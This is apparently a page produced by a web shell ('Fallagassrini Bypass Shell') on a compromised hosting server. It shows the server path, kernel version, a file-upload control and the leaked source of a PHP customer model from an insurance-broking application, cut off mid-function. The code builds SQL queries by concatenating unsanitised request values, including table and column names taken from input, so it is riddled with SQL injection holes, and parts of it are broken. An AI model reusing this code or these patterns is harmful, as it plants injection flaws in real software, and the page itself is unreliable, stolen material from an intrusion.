? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sibs_draft/system/application/models/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sibs_draft/system/application/models/customermodel.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?>
<?php
class customermodel extends Model
 {
	function customermodel ()
    {
        parent::Model();
    }

       function index()
       {

       }

       function deleteCustomerDeteailModel($id) //FUNCTION TO DELETE THE GIVEN CUSTOMER
       {
           $code=$this->getSingleFieldValue('customers','code','id',$id);
           $result=$this->db->query("delete from customers where id='".$id."';");
           $result=$this->db->query("delete from chart_master where account_code='".$code."';");
	     // $result=$this->db->query("call deleteCustomerdetails('".$id."');");
       }

       function InsertCustFileToDatabase($data,$path)
       {
	      /*
	       FUNCTION TO INSERT THE CUSTOMER DOCUMENTS TO DATABASE
	       USING POST METHOD IT WILL GET ALL THE DETAILS
	      */

	      $id_txt=$this->input->post('content_id');
	      $parent_id=$_POST['dirid'];
                            if(!empty($data))
          {
			  foreach($data as $file)
			{
			$filename=$path.$file['name'];


			$folder_for=$_SESSION['current_mode'];
        $query=$this->db->query("insert into sub_directory (`parentdir`,`subdirname`,`folder_for`) values('$parent_id','$file[name]','$folder_for')");
			$fid=mysql_insert_id();

			$query=$this->db->query("insert into customer_documents(`customer_id`,`file_name`,`fileid`) values ('$id_txt','$filename','$fid')");
			}
          }
       }

	function ListsingleCustomer($id)
	{
	      /*
	       FUNCTION TO RETURN THE SINGLE CUSTOMER DETAIL
	       NEED TO PASS THE CUSTOMER ID AS ARGUMENT
	      */
              $query['tablename']='customer_documents';
              $query['fieldname']='customer_id';
	      $type=$this->getSingleFieldValue('customers','type','id',$id);
              $query['id']=$id;

                $emplid=$this->getSingleFieldValue('staffcustomer','staffid','customerid',$id);
                $query['emplo_nam']=$this->getSingleFieldValue('staffpersonaldetails','name','id',$emplid);
	      if($type=="Individual")
	      {
		     $query['result']=$this->db->query("SELECT * FROM customers c JOIN customer_account ca ON c.id = ca.customer_id
						     JOIN customer_personal_ind cp ON c.id = cp.customer_id
						     JOIN customer_contact cc ON c.id = cc.customer_id
						     inner JOIN staffcustomer sc ON c.id = sc.customerid and c.id=". $id);
		     $query['result2']=$this->db->query("SELECT max(staffcustomer.date),staffpersonaldetails.name, staffpersonaldetails.employeeid,designation.designation FROM staffcustomer  INNER JOIN staffpersonaldetails
							ON (staffcustomer.staffid = staffpersonaldetails.id) INNER JOIN staffemployeedetails ON (staffemployeedetails.staffid = staffpersonaldetails.id)
							left JOIN designation ON (designation.id = staffemployeedetails.designationid) WHERE (staffcustomer.customerid =". $id .") and staffcustomer.date in (select max(date) from staffcustomer where customerid=$id)");
		     $this->load->view('Customer/viewsinglecustomer',$query);
	      }
	      else
	      {
		     $query['result']=$this->db->query("SELECT * FROM customers c JOIN customer_account ca ON c.id = ca.customer_id
							    JOIN customer_corp_info cp ON c.id = cp.customer_id
							    JOIN customer_contact cc ON c.id = cc.customer_id
							    inner JOIN staffcustomer sc ON c.id = sc.customerid and c.id=". $id);
		     $query['result1']=$this->db->query("SELECT * FROM customer_contactpersons where customer_id=". $id);
		     $query['result2']=$this->db->query("SELECT  staffpersonaldetails.name, staffpersonaldetails.employeeid,designation.designation FROM staffcustomer  INNER JOIN staffpersonaldetails
							ON (staffcustomer.staffid = staffpersonaldetails.id) INNER JOIN staffemployeedetails ON (staffemployeedetails.staffid = staffpersonaldetails.id)
							left JOIN designation ON (designation.id = staffemployeedetails.designationid) WHERE (staffcustomer.customerid =". $id .") and staffcustomer.date in (select max(date) from staffcustomer where customerid=$id)");
		  
                    

                     $this->load->view('Customer/viewSinglecorpratecustomer',$query);
	      }

              
	}



	function InsertCorprateCustomerDetails_Model()
	{
            /*
	      THIS FUNCTION INSERT THE CORPRATE CUSTOMER DETAILS TO THE DATABASE
	      THIS FUNCTION GET THE MAX(ID)+1 FROM THE DATABASE AND CONCAT WITH THE
	      PREFIX. THEN INSERT INTO THE TABLES ONE BY ONE.IF ALL TABLE INSERTION
	      SUCESS THE COMMIT THE TRANSACTION ELSE ROLLBACK THE TRANSACTION.
	      */
	      $this->db->trans_begin();//MANUAL TRANSACTION BEGIN HERE

	      $prefix=$this->getSingleFieldValue('customer_type','prefix','ctype','Corporate');

	      //GET THE MAX CUST ID FROM DATABASE TO GENERATE NEW CUSTOMER CODE

	      $maxval=$this->db->query("SELECT code from customers where id in (select max(id) from customers where type='Corporate')");
              $result= $maxval->row();
              $code=$result->code;
              $cid=substr($code, 3,strlen($code)-3);
              $cid=(int)$cid;
	      $cid=$cid+1;
	      $cid= str_pad($cid, 4, "0", STR_PAD_LEFT);
              $customer_code = $prefix . $cid;
	      //INSERT INTO CUSTOMERS TABLE
	      $tblValues=array('code'=>$customer_code,'type'=>'Corporate');
	      $this->db->insert('customers', $tblValues);
	      $custid= mysql_insert_id();

	      //INSERT INTO CUSTOMER ACCOUNT TABLE
	      $tblValues=array('customer_id'=>$custid,'account'=>$this->input->post('caccount'),'branch_id'=>$this->input->post('branch'));
	      $this->db->insert('customer_account', $tblValues);

	      //INSERT INTO CUSTOMER CONTACT TABLE
	      $tblValues=array('customer_id'=>$custid,'address'=>$this->input->post('Address')
				     ,'postbox'=>$this->input->post('PO'),'country'=>$this->input->post('ctry')
				     ,'city'=>$this->input->post('cty_id'),'phone_office'=>$this->input->post('officeph')
				     ,'phone_res'=>$this->input->post('resph'),'email'=>$this->input->post('email')
				     ,'payment_name_1'=>$this->input->post('payment_name_1'),'payment_designation_1'=>$this->input->post('payment_designation_1')
				     ,'payment_mobile_1'=>$this->input->post('payment_mobile_1'),'payment_email_1'=>$this->input->post('payment_email_1')
				     ,'payment_name_2'=>$this->input->post('payment_name_2'),'payment_designation_2'=>$this->input->post('payment_designation_2')
				     ,'payment_mobile_2'=>$this->input->post('payment_mobile_2'),'payment_email_2'=>$this->input->post('payment_email_2'));

	      $this->db->insert('customer_contact', $tblValues);

	      //insert into staffcustomer table
              $datenew=$this->mastermodel->convdatformat($_POST['date']);
              $curdate=date('Y-m-d');
	      $tblValues=array('customerid'=>$custid,
                                        'staffid'=>$this->input->post('employee_id'),
                                        //'staffid'=>$this->input->post('empno'),
					'date'=>$datenew,
                                         'entrydate'=>$curdate,
                  'description'=>$this->input->post('comment'));

	      $this->db->insert('staffcustomer', $tblValues);

	      //insert into customer corprate information table
	      $tblValues=array('customer_id'=>$custid, 'GroupName'=>$this->input->post('groupname')
					,'Insured'=>$this->input->post('txtCustname'),'Business_activity'=>$this->input->post('businessactivity')
					,'Anual_turnouver'=>$this->input->post('anualturnover'));
	      $this->db->insert('customer_corp_info', $tblValues);

              //insert into Customer Bank Account
              $parent= $this->accountingsmodel->get_subaccount_setting('customer');
                $chart_type=$this->mastermodel->getSingleFieldValue('chart_master', 'chart_type', 'id', $parent);
              
               $tblValues=array('account_code'=>$customer_code, 'account_name'=>$this->input->post('txtCustname')
					,'chart_type'=>$chart_type,'parent'=>$parent,'inactive'=>0);
               $this->db->insert('chart_master', $tblValues);



	      $i=1;
	      while(isset($_POST['hid_conCnthid_'.$i]))
	      {
		   $tblValues=array('customer_id'=>$custid,'Name'=>$_POST['txt_conName_'.$i]
				      ,'Mobile'=>$_POST['txt_conMob_'.$i],'Phone'=>$_POST['txt_conPho_'.$i]
				      ,'Email'=>$_POST['txt_conEmail_'.$i],'Desig'=>$_POST['txt_conDesig_'.$i]);
		   $str = $this->db->insert('customer_contactpersons', $tblValues);
		   $i++;
	      }


 

//CHECK THE TRANSACTION STATUS AND IF FALSE THE ROLLBACK ELSE COMMIT THETRANSACTION
	      if ($this->db->trans_status() === FALSE)
	      {
		  $this->db->trans_rollback();
		  return "Transaction rollbacked";
	      }
	      else
	      {
		  $this->db->trans_commit();
		  return "transaction Commited";
	      }


	}




       function UpdateCorprateCustomerDetails_Model()
       {

           $cid=$this->input->post('customerid');
	      $this->db->trans_begin();//Manual transaction begin here
	      //CODE TO UPDATE CUSTOMER ACCOUNT TABLE
	      $tblvalue=array('account'=>$this->input->post('caccount'),'branch_id'=>$this->input->post('branch'));
	      $this->db->where('customer_id',$this->input->post('customerid'));
	      $this->db->update('customer_account',$tblvalue);

	      //CODE TO UPDATE CUSTOMER CONTACT DETAILS TABLE
	       $tblvalue=array('address'=>$this->input->post('address'),'postbox'=>$this->input->post('PO'),
			       'country'=>$this->input->post('ctry'),'city'=>$this->input->post('cty_id'),
			       'phone_office'=>$this->input->post('phoneoffice'),'phone_res'=>$this->input->post('phoneresidance'),
			       'email'=>$this->input->post('email'),'mobile'=>$this->input->post('mobile'),
			       'fax'=>$this->input->post('fax')
                             ,'payment_name_1'=>$this->input->post('payment_name_1'),'payment_designation_1'=>$this->input->post('payment_designation_1')
                             ,'payment_mobile_1'=>$this->input->post('payment_mobile_1'),'payment_email_1'=>$this->input->post('payment_email_1')
                             ,'payment_name_2'=>$this->input->post('payment_name_2'),'payment_designation_2'=>$this->input->post('payment_designation_2')
                             ,'payment_mobile_2'=>$this->input->post('payment_mobile_2'),'payment_email_2'=>$this->input->post('payment_email_2'));
		$this->db->where('customer_id',$this->input->post('customerid'));
		$this->db->update('customer_contact',$tblvalue);

	      //CODE TO UPDATE CUSTOMER CORPRATE DETAILS TABLE
//	      $tblvalue=array('staffid'=>$this->input->post('empno'),
//			      'date'=>$this->input->post('date'),'comment'=>$this->input->post('comment'));
//	      $this->db->where('customer_id',$this->input->post('customerid'));
//	      $this->db->update('customer_referance',$tblvalue);

	      //CODE TO UPDATE CORPRATE CUSTOMER INFORMATION
	       $tblvalue=array('GroupName'=>$this->input->post('groupname'),
				'Insured'=>$this->input->post('txtcustname'),'Business_activity'=>$this->input->post('businessactivity'),
				'Anual_turnouver'=>$this->input->post('anualturnover'));
	      $this->db->where('customer_id',$this->input->post('customerid'));
	      $this->db->update('customer_corp_info',$tblvalue);

              $tblValues=array(
                  'description'=>$this->input->post('comment'));
                $this->db->where('customerid',$this->input->post('customerid'));
	      $this->db->update('staffcustomer', $tblValues);

                
              $this->db->query("delete from customer_contactpersons where customer_id='$cid'");
	      //CODE TO INSERT CONTACT PERSONS DETAILS TABLE
	      $i=1;
	      while(isset($_POST['hid_conCnthid_'.$i]))
	      {
		     
                        
			    $tblvalue=array('customer_id'=>$this->input->post('customerid'),'Name'=>$_POST['txt_conName_'.$i],'Mobile'=>$_POST['txt_conMob_'.$i],'Phone'=>$_POST['txt_conPho_'.$i],
					    'Email'=>$_POST['txt_conEmail_'.$i],'Desig'=>$_POST['txt_conDesig_'.$i]);
			   $var= $this->db->insert('customer_contactpersons',$tblvalue);
                          
		    
                     
		     $i++;
	      }
	      //CHECK THE TRANSACTION STATUS AND IF FALSE THE ROLLBACK ELSE COMMIT THETRANSACTION
	      if ($this->db->trans_status() === FALSE)
	      {
		  $this->db->trans_rollback();
		  return "Unable to Update Customer details try again.";
	      }
	      else
	      {
		  $this->db->trans_commit();
		  return "Customer Updated Sucessfully.";
	      }
       }


       function ListofCustomers($custname="",$searchBy="customers~code",$PageNo,$pageSize)//Function for Search Customer and List Customer Details
       {

           $staffids=$this->mastermodel->tracestaff();
           $staffids=implode(',', $staffids);
           $menuid=$_SESSION['current_mode'];
           
           if($menuid!='')
           {
                $priv=$this->mastermodel->ret_cust_private();
                if($priv==2 || $priv==0 )
                    {
               
                   $condition='where staffcustomer.staffid in ('.$staffids.') and';

                    }
                    else
                    {
                     
                     $condition="where";

                    }
           }
           else
               {
               $condition="where";

           }

           $filed= explode("~",$searchBy);
	      if($searchBy=="All")
		     $where_Condition="";
	      else
	      {
		     if($filed[0]=="insured")
		     {
			$where_Condition=" (customer_corp_info.insured like '$custname%' or customer_personal_ind.insured like '$custname%')";
		     }
		     else
		     {
		        $where_Condition=" $filed[0].$filed[1] like '$custname%'";
		     }
	      }

	      $limtvalue= ($PageNo-1) * $pageSize ."," . $pageSize;


	      $countQuery = "SELECT customers.id as Count FROM customers LEFT JOIN customer_corp_info ON (customer_corp_info.customer_id = customers.id)
			    LEFT JOIN customer_personal_ind ON(customer_personal_ind.customer_id = customers.id)
			    INNER JOIN customer_contact ON (customer_contact.customer_id = customers.id)
			    LEFT JOIN city ON (customer_contact.city = city.id)
			    LEFT JOIN country ON (customer_contact.country = country.id)
			    INNER JOIN customer_account ON (customer_account.customer_id = customers.id) AND (city.country_id = country.id)
			    left JOIN staffcustomer ON (staffcustomer.customerid = customers.id)
			    left JOIN staffpersonaldetails ON (staffcustomer.staffid = staffpersonaldetails.id) ".$condition.$where_Condition ." Group by customers.id order by customers.id desc";
               
           // echo $countQuery;
              $countRes = $this->db->query($countQuery);
	      $result= $countRes->num_rows();
//	      if($result)
//		 $ResCount= $result->Count;
//	      else
//		 $ResCount=0;
//              echo $ResCount;
	      $MaxPage=ceil($result/$pageSize);
          
	      $query = "SELECT IFNULL(customer_corp_info.insured,customer_personal_ind.insured) as insured, customer_contact.phone_office, customer_contact.fax , customer_contact.email , customers.code as code
		     ,customers.id,staffpersonaldetails.id as staffid,customers.type as type,customer_corp_info.business_activity as business,@asdf:=".$MaxPage." as MaxPage,@curpage:=". $PageNo ." as currentPage
		     FROM customer_corp_info
		     RIGHT JOIN customers  ON (customer_corp_info.customer_id = customers.id)
		     LEFT JOIN customer_personal_ind ON(customer_personal_ind.customer_id = customers.id)
		     INNER JOIN customer_contact ON (customer_contact.customer_id = customers.id)
		     LEFT JOIN city ON (customer_contact.city = city.id)
		     LEFT JOIN country ON (customer_contact.country = country.id)
		     INNER JOIN customer_account ON (customer_account.customer_id = customers.id) AND (city.country_id = country.id)
		     left JOIN staffcustomer ON (staffcustomer.customerid = customers.id)
		     left JOIN staffpersonaldetails ON (staffcustomer.staffid = staffpersonaldetails.id)".$condition.$where_Condition ." Group by customers.id order by customers.id desc limit $limtvalue";

	      $Q1=$this->db->query($query);
	      $res=$Q1->result_array();
              $data['result']=$res;

              $data['maxpage']=$MaxPage;
	      return $data;
       }

       function getSingleFieldValue($table,$field,$condition,$value)
       {
            //echo "select ". $field. " from ". $table . " where ". $condition . "='". $value ."'";
            
	   $data=$this->db->query("select ". $field. " from ". $table . " where ". $condition . "='". $value ."'");
	   $result= $data->row();
	   if($result)
	   {
	      return $result->$field;
	   }
	   else
	   {
	      return "";
	   }
       }
 
       function getSingleFieldValue_Like($table,$field,$condition,$value)
       {
	   $data=$this->db->query("select ". $field. " from ". $table . " where ". $condition . " like'". $value ."%'");
	   $result= $data->row();
//           echo mysql_error();
	   if($result)
	   {
	      return $result->$field;
	   }
	   else
	   {
	      return "";
	   }
       }


       function LoadEditCust($id)
       {
	      /*
	      /	     THIS FUNCTION CHECK THE CUSTOMER TYPE AND RETURN
	      /	     THE PARTICULAR CUSTOMER DETAILS FROM ALL TABLES
	      */

	     $type=$this->getSingleFieldValue('customers','type','id',$id);
              $query['id']=$id;

                $emplid=$this->getSingleFieldValue('staffcustomer','staffid','customerid',$id);
                $query['emplo_nam']=$this->getSingleFieldValue('staffpersonaldetails','name','id',$emplid);
	      if($type=="Individual")
	      {
		     $query['result']=$this->db->query("SELECT * FROM customers c JOIN customer_account ca ON c.id = ca.customer_id
						     JOIN customer_personal_ind cp ON c.id = cp.customer_id
						     JOIN customer_contact cc ON c.id = cc.customer_id
						     JOIN staffcustomer sc ON c.id = sc.customerid and c.id=". $id);
		     $query['result2']=$this->db->query("SELECT max(staffcustomer.date),staffpersonaldetails.name, staffpersonaldetails.employeeid,designation.designation FROM staffcustomer  INNER JOIN staffpersonaldetails
							ON (staffcustomer.staffid = staffpersonaldetails.id) INNER JOIN staffemployeedetails ON (staffemployeedetails.staffid = staffpersonaldetails.id)
							INNER JOIN designation ON (designation.id = staffemployeedetails.designationid) WHERE (staffcustomer.customerid =". $id .") and staffcustomer.date in (select max(date) from staffcustomer where customerid=$id)");
		     $this->load->view('Customer/editindcustform',$query);
	      }
	      else
	      {
		     $query['result']=$this->db->query("SELECT * FROM customers c JOIN customer_account ca ON c.id = ca.customer_id
							    JOIN customer_corp_info cp ON c.id = cp.customer_id
							    JOIN customer_contact cc ON c.id = cc.customer_id
							    JOIN staffcustomer sc ON c.id = sc.customerid and c.id=". $id);
		     $query['result1']=$this->db->query("SELECT * FROM customer_contactpersons where customer_id=". $id);
		     $query['result2']=$this->db->query("SELECT  staffpersonaldetails.name, staffpersonaldetails.employeeid,designation.designation FROM staffcustomer  INNER JOIN staffpersonaldetails
							ON (staffcustomer.staffid = staffpersonaldetails.id) INNER JOIN staffemployeedetails ON (staffemployeedetails.staffid = staffpersonaldetails.id)
							INNER JOIN designation ON (designation.id = staffemployeedetails.designationid) WHERE (staffcustomer.customerid =". $id .") and staffcustomer.date in (select max(date) from staffcustomer where customerid=$id)");



                     $this->load->view('Customer/editcorpcustomerdetails',$query);
	      }
       }


       function InsertIndividualCustomer()//Function to Insert Individual Customer Details
       {


	     /*
	     THIS FUNCTION INSERT THE CORPRATE CUSTOMER DETAILS TO THE DATABASE
	     THIS FUNCTION GET THE MAX(ID)+1 FROM THE DATABASE AND CONCAT WITH THE
	     PREFIX. THEN INSERT INTO THE TABLES ONE BY ONE.IF ALL TABLE INSERTION
	     SUCESS THE COMMIT THE TRANSACTION ELSE ROLLBACK THE TRANSACTION.
	     */
	      //


	     $this->db->trans_begin();//MANUAL TRANSACTION BEGIN HERE

	     $prefix=$this->getSingleFieldValue('customer_type','prefix','ctype','Individual');
	     //GET THE MAX CUST ID FROM DATABASE TO GENERATE NEW CUSTOMER CODE
	     $maxval=$this->db->query("SELECT code from customers where id in (select max(id) from customers where type='Individual')");
	     $result= $maxval->row();
             $code=$result->code;
             $cid=substr($code, 3,strlen($code)-3);
             $cid=(int)$cid;

	     //$cid=$result->ids;
	     $cid=$cid+1;
	     $cid= str_pad($cid, 4, "0", STR_PAD_LEFT);
             $customer_code = $prefix . $cid;
	     //insert into customers table
	     $tblValues=array('code'=>$customer_code,'type'=>'Individual');
	     $this->db->insert('customers', $tblValues);
	     $custid= mysql_insert_id();

	     $tblValues=array('customer_id'=>$custid,'account'=>$_POST['caccount'],'branch_id'=>$_POST['branch']);
	     $this->db->insert('customer_account', $tblValues);

	      //INSERT INTO CUSTOMER CONTACT TABLE
	     $tblValues=array('customer_id'=>$custid,'address'=>$_POST['Address'],'postbox'=>$_POST['PO'],'country'=>$_POST['ctry'],
			      'city'=>$_POST['cty_id'],'phone_office'=>$_POST['officeph'],'phone_res'=>$_POST['resph'],
			      'email'=>$_POST['email'],'mobile'=>$_POST['mobile'],'fax'=>$_POST['fax']);
	     $this->db->insert('customer_contact', $tblValues);

	     //INSERT INTO STAFFCUSTOMER TABLE
             $datenew=$this->mastermodel->convdatformat($_POST['date']);
             $curdate=date('Y-m-d');
	     $tblValues=array('customerid'=>$custid,
                                'staffid'=>$_POST['employee_id'],
                                //'staffid'=>$_POST['empno'],
                                'date'=>$datenew,
                                'entrydate'=>$curdate,
			      'description'=>$_POST['comment']);
	     $this->db->insert('staffcustomer', $tblValues);
             $dob=$this->mastermodel->convdatformat($_POST['dob']);

             
	     $tblValues=array('customer_id'=>$custid,
                 'insured'=>$_POST['txtCustname'],
                 'dob'=>$dob,
                 'marital_status'=>$_POST['MaritalStatus'],
                 'gender'=>$_POST['R1'],
                 'lphone'=>$_POST['lphone'],
                 'lmobile'=>$_POST['lmobile'],
                 'laddress'=>$_POST['laddress'],
                 'lpobox'=>$_POST['lpobox'],
                 'lcountry'=>$_POST['lcountry'],
                 'lcity'=>$_POST['lcity']);
	     $this->db->insert('customer_personal_ind', $tblValues);


              //insert into Customer Bank Account
              $parent= $this->accountingsmodel->get_subaccount_setting('customer');
            $chart_type=$this->mastermodel->getSingleFieldValue('chart_master', 'chart_type', 'id', $parent);
              $tblValues=array('account_code'=>$customer_code, 'account_name'=>$this->input->post('txtCustname')
					,'chart_type'=>$chart_type,'parent'=>$parent,'inactive'=>0);
              $this->db->insert('chart_master', $tblValues);


//CHECK THE TRANSACTION STATUS AND IF FALSE THE ROLLBACK ELSE COMMIT THETRANSACTION
	     if ($this->db->trans_status() === FALSE)
	     {
		 $this->db->trans_rollback();
		 return "Error";
	     }
	     else
	     {
		 $this->db->trans_commit();
		 return "Sucess";
	     }




       }


       function getAutoSugestList($content="",$table="")
       {
	      $data=array();
	      $tablefield=explode("~",$table);
	      if($table != "insured")
	      {
		     $query=$this->db->query("SELECT " . $tablefield[1] . " FROM " .$tablefield[0] . " where " . $tablefield[1] . " like'". $content . "%'");
		     foreach ($query->result_array() as $row)
		     {
			    $data[] = $row;
		     }
	      }
	      else
	      {
		     $query=$this->db->query("select insured,customer_id from customer_corp_info where insured like '".trim($content)."%'");
		     foreach ($query->result_array() as $row)
		     {
			    $data[] = $row;
		     }
		     $query=$this->db->query("select insured,customer_id from customer_personal_ind where insured like '".trim($content)."%'");
		     foreach ($query->result_array() as $row)
		     {
			    $data[] = $row;
		     }
	      }
	      return $data;
       }

       function GetSingleRow($table,$fiels,$condFiels,$value)
       {
	      $data=$this->db->query("select ". $fiels. " from ". $table . " where ". $condFiels . "=". $value );
	      $result= $data->row();
	      return $result;
       }

       function loadFilePreview($fileid)
       {
	      $path=$this->GetSingleRow('customer_documents','file_name','id',$fileid);
	      $src['result']=$path->file_name;
	      $this->load->view('Customer/customer_doc_preview',$src);
       }



       function DeleteCustomerFiles($fileid)
       {
	      $this->db->query("delete from customer_documents where id='". $fileid."'");
       }

       function getCustomerDocumetList($customer_id="")
       {
	      if($customer_id=="")
	      {
		     $data['result']=$this->db->query("select * from customer_documents");
	      }
	      else
	      {
		     $data['result']=$this->db->query("select * from customer_documents where customer_id='".$customer_id."'");
	      }
	      $this->load->view('Customer/customer_document_list',$data);
       }

 	function UpdateIndividualCustomer()//Function to Insert Individual Customer Details
	{

	       $this->db->trans_begin();//MANUAL TRANSACTION BEGIN HERE
	        $cid=$_POST['customerid'];
	      $tblvalue=array('address'=>$_POST['Address'],'postbox'=>$_POST['PO'],'country'=>$_POST['ctry'],
			      'city'=>$_POST['cty_id'],'phone_office'=>$_POST['officeph'],'phone_res'=>$_POST['resph'],
			      'mobile'=>$_POST['mobile'],'email'=>$_POST['email'],'fax'=>$_POST['fax']);
	      $this->db->where('customer_id',$cid);
	      $this->db->update('customer_contact',$tblvalue);


	      $tblvalue=array('account'=>$_POST['caccount'],'branch_id'=>$_POST['branch']);
	      $this->db->where('customer_id',$cid);
	      $this->db->update('customer_account',$tblvalue);

              $dob=$this->mastermodel->convdatformat($_POST['dob']);
              $tblvalue=array('insured'=>$_POST['txtCustname'],
                  'dob'=>$dob,
                  'marital_status'=>$_POST['MaritalStatus'],
                  'gender'=>$_POST['R1'],
                  'lphone'=>$_POST['lphone'],
                 'lmobile'=>$_POST['lmobile'],
                 'laddress'=>$_POST['laddress'],
                 'lpobox'=>$_POST['lpobox'],
                 'lcountry'=>$_POST['lcountry'],
                 'lcity'=>$_POST['lcity']);
	      $this->db->where('customer_id',$cid);
	      $this->db->update('customer_personal_ind',$tblvalue);

              $tblValues=array(
                  'description'=>$_POST['comment']);
                $this->db->where('customerid',$cid);
	      $this->db->update('staffcustomer', $tblValues);

//
//	      $tblvalue=array('staffid'=>$_POST['empno'],'date'=>$_POST['date'],'comment'=>$_POST['comment']);
//	      $this->db->where('customer_id',$cid);
//	      $this->db->update('customer_referance',$tblvalue);
	 
	      if ($this->db->trans_status() === FALSE)
	      {
		  $this->db->trans_rollback();
		  return "Error : Unable to update Customer Details Try again later.";
	      }
	      else
	      {
		  $this->db->trans_commit();
		 return "Sucess : Details Updated Sucessfully.";

	      }
	}


       function ListSearchEmployeedetails($searchoption="",$searchtext="")
       {
	      $data=array();

	      $serption=explode("~",$searchoption);
	      if($searchtext!="")
	      {
		     $qry="select " . $serption[2] . " from " . $serption[0] . " where ". $serption[1] . " like '%" . $searchtext . "%'";
	      }
	      else
	      {
		     $qry="select " . $serption[2] . " from " . $serption[0] . " where ". $serption[1] . " like '%'";
	      }
	      $Q=$this->db->query($qry);
	      $rows=$Q->result_array();
	      foreach ($rows as $rw)
	      {
                     $newRow['employeeid']=$rw[$serption[2]];
		     $newRow['empid']=$this->getSingleFieldValue('staffpersonaldetails','employeeid','id',$rw[$serption[2]]);
		     $newRow['empname']=$this->getSingleFieldValue('staffpersonaldetails','name','id',$rw[$serption[2]]);
		     $desigid=$this->getSingleFieldValue('staffemployeedetails','designationid','staffid',$rw[$serption[2]]);
		     $newRow['designation']=$this->getSingleFieldValue(' designation','designation','id',$desigid);
		     $data[]=$newRow;
		     $newRow="";
	      }
	      return $data;
       }

	function LoadCoverList($id)
	{
		$q=$this->db->query("select * from covers where segment_id='". $id ."'");
		$rows=$q->result_array();
		return  $rows;
	}

       function trackcustomermodel()
       {

	     $cuscode=$this->input->post('CustCode');
	     $cusname=$this->input->post('CustName');
	     $policy=$this->input->post('plicyCode');
	     $staffname=$this->input->post('staffname');
	     $staffcode=$this->input->post('staffcode');
	     $companyname=$this->input->post('companyname');
	     $reffperCo=$this->input->post('reffperCo');
	     $coverid=$this->input->post('coverrtype');
	     $classification_id=$this->input->post('Sel_Insur_cls');
             $Quot_refNo=$this->input->post('Quot_refNo');
	     $wherecnond="";
             
	     if($coverid!=0)
	     {
	       $wherecnond .=" and covers.id = '$coverid'";
	     }

             if($classification_id!=0)
	     {
	       $wherecnond .=" and segment_insurances.id = '$classification_id'";
	     }
             
	     if($Quot_refNo!="")
	     {
	       $wherecnond.=" and broking_slip.quotation_ref like'$Quot_refNo%'";
	     }

	     if($policy!="")
	     {
	      $wherecnond.=" and policynote.policyno like '$policy%";
	     }
             
             if($policy!="")
	     {
	      $wherecnond.=" and policynote.policyno like '$policy%";
	     }
             
             if($policy!="")
	     {
	      $wherecnond.=" and policynote.policyno like '$policy%";
	     }

             if($companyname!="")
	     {
	      $wherecnond.=" and insurance_company.company_name like '$companyname%'";
	     }
           $staffids=$this->mastermodel->tracestaff();
           $staffids=implode(',', $staffids);
           $menuid=$_SESSION['current_mode'];
           if($menuid!='')
           {
                $priv=$this->mastermodel->ret_cust_private();
                if($priv==2 || $priv==0 )
                {
                    $wherecnond .=' and staffcustomer.staffid in ('.$staffids.')';
                }
           }

	      $newQry="SELECT distinct customers.id as Cust_id, IFNULL(customer_corp_info.insured,customer_personal_ind.insured)as name
			    , broking_slip.quotation_ref as quotation_ref,
                              broking_slip.id as brokindslipid
			    , policynote.policyno as policy_no
			    , covers.cover type_insurance
			    , policynote.id as Policy_id
                            , company_name
			    
			FROM
			    broking_slip
			    RIGHT JOIN customers
				ON (broking_slip.customer_id = customers.id)
			    LEFT JOIN policynote
				ON (policynote.quotation_ref = broking_slip.quotation_ref)
                            LEFT JOIN placing_slip
				ON (placing_slip.quotation_ref = broking_slip.quotation_ref)    
                            LEFT JOIN placing_slip_premiumdetails
				ON (placing_slip_premiumdetails.placing_slip_id = placing_slip.id)        
                            LEFT JOIN insurance_company
				ON (insurance_company.id = placing_slip_premiumdetails.insurance_company_id)            
			    INNER JOIN covers
				ON (broking_slip.cover_id = covers.id)
                            INNER JOIN segment_insurances
				ON (segment_id = segment_insurances.id)    
			    INNER JOIN staffcustomer
				ON (staffcustomer.customerid = customers.id)
			    INNER JOIN staffpersonaldetails
				ON (staffcustomer.staffid = staffpersonaldetails.id)
			    LEFT JOIN customer_corp_info
				ON (customer_corp_info.customer_id = customers.id)
			    LEFT JOIN customer_personal_ind
				ON (customer_personal_ind.customer_id = customers.id)
			WHERE customers.code like'$cuscode%' and staffpersonaldetails.employeeid like '$staffcode%'
			    and staffpersonaldetails.name like '$staffname%'
			    and(customer_corp_info.insured like'$cusname%' or customer_personal_ind.insured like'$cusname%') $wherecnond";
        $newQry.= ' order by brokindslipid desc';
        
	      $res=$this->db->query($newQry);
	      return $res->result_array();
       }

       function List_Customer_Documets($id)
       {
	      $query=$this->db->query("SELECT *	FROM customer_documents where customer_id='". $id . "'");
	      return $query->result_array();
       }
       function List_Customer_Endorsement($id)
       {
	      $query=$this->db->query("select * from endorsement where policyid='" . $id . "'");
	      return $query->result_array();
       }
       function List_Customer_cancellation($id)
       {
	      $query=$this->db->query("select * from  cancellation where policyid='" . $id . "'");
	      return $query->result_array();
       }
       function List_Customer_Declaration($id)
       {
	      $query=$this->db->query("select * from  declaration where policyid='" . $id . "'");
	      return $query->result_array();
       }
       function List_Customer_claims($id)
       {
	      $query=$this->db->query("select * from  claim where policyid='" . $id . "'");
	      return $query->result_array();
       }

       function list_quotation($id)
       {
        $query=$this->db->query("SELECT distinct quotation.id,quotation.date,broking_slip.id as bid, broking_slip.quotation_ref, IFNULL(customer_personal_ind.insured, customer_corp_info.insured) As CustName, broking_slip.template_header
                , covers.cover FROM broking_slip INNER JOIN quotation ON (broking_slip.id = quotation.brokingslip)
                INNER JOIN customers ON (broking_slip.customer_id = customers.id) LEFT JOIN customer_corp_info ON (customer_corp_info.customer_id = customers.id)
                LEFT JOIN customer_personal_ind ON (customer_personal_ind.customer_id = customers.id) INNER JOIN covers
                ON (broking_slip.cover_id = covers.id) where broking_slip.id='$id' ");
	 return $query->result_array();
       }
       function getmaxminlist($currentpage,$noofpages,$nooflists)
       {
	      $this->load->library('Fpaginate');
	      $data['listnos']=$this->fpaginate->paginate($currentpage,$noofpages,$nooflists);
	      return $data;
       }

       function List_Customer_brokingslip($id,$qref)
       {
	      $query=$this->db->query("select * from  broking_slip where customer_id='" . $id . "' and quotation_ref='" . $qref . "'");
	      return $query->result_array();
       }
        function List_Customer_placingslip($id,$qref)
       {

